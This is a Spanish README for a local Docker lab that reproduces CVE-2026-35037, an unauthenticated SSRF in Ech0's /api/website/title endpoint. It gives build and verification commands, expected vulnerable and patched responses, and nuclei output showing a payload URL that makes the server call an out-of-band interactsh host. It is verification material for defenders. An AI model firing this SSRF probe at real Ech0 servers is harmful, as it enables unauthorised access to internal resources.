
Laboratorio de reproducción aislado local para CVE-2026-35037, una vulnerabilidad SSRF no autenticada en el endpoint GET /api/website/title de Ech0. Incluye configuración de Docker Compose, script de verificación y plantilla de nuclei para validación.
Este repositorio contiene un laboratorio de reproducción local y aislado para CVE-2026-35037, una vulnerabilidad SSRF no autenticada en el endpoint GET /api/website/title de Ech0.
El laboratorio utiliza un servidor de evidencia local controlado en lugar de metadatos en la nube o infraestructura de terceros.
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1; NVD describe versiones anteriores a 4.2.84.2.8GET /api/website/titlewebsite_urlReferencias:
docker-compose.yml: inicia Ech0 y un servidor HTTP de evidencia localDockerfile.ech0-lab: construye Ech0 desde la etiqueta oficial de GitHubverify-cve-2026-35037.sh: envía la solicitud de verificación SSRF controladaevidence/index.html: página HTML controlada con un <title> úniconuclei/CVE-2026-35037.yaml: plantilla candidata de nucleiLas etiquetas históricas vulnerables de Docker como sn0wl1n/ech0:4.2.1 no estaban disponibles cuando se creó este laboratorio. En su lugar, el laboratorio compila desde las etiquetas oficiales de GitHub lin-snow/Ech0:
v4.2.1 para el candidato vulnerablev4.2.8 para la comparación parcheadaEl Dockerfile local también evita problemas de compilación ascendentes observados con el histórico build.Dockerfile.
curlnucleiEjecuta esto solo en un laboratorio local aislado. No uses estos comandos contra sistemas de terceros. Úsalos solo contra sistemas que poseas o para los que tengas autorización escrita explícita para realizar pruebas.
Inicia Ech0 v4.2.1:
ECH0_TAG=4.2.1 docker compose up -d --build
Envía la solicitud de verificación controlada:
sh verify-cve-2026-35037.sh
Respuesta vulnerable esperada:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
Confirma que Ech0 llegó al servidor de evidencia controlado:
docker compose logs evidence
Registro de evidencia observado:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Inicia Ech0 v4.2.8:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
Ejecuta la misma solicitud:
sh verify-cve-2026-35037.sh
Respuesta parcheada observada:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
Valida la plantilla:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
Ejecuta contra la versión vulnerable v4.2.1:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Resultado vulnerable observado:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
Ejecuta contra la versión parcheada v4.2.8:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Resultado parcheado observado:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ dentro de la red de Docker Compose.{{interactsh-url}} y requiere soporte OAST/interactsh.{{interactsh-url}}, que contacta por defecto con los servidores interactsh de ProjectDiscovery como oast.online o oast.fun. Usa -iserver para sobrescribir el servidor o -ni para deshabilitar interactsh.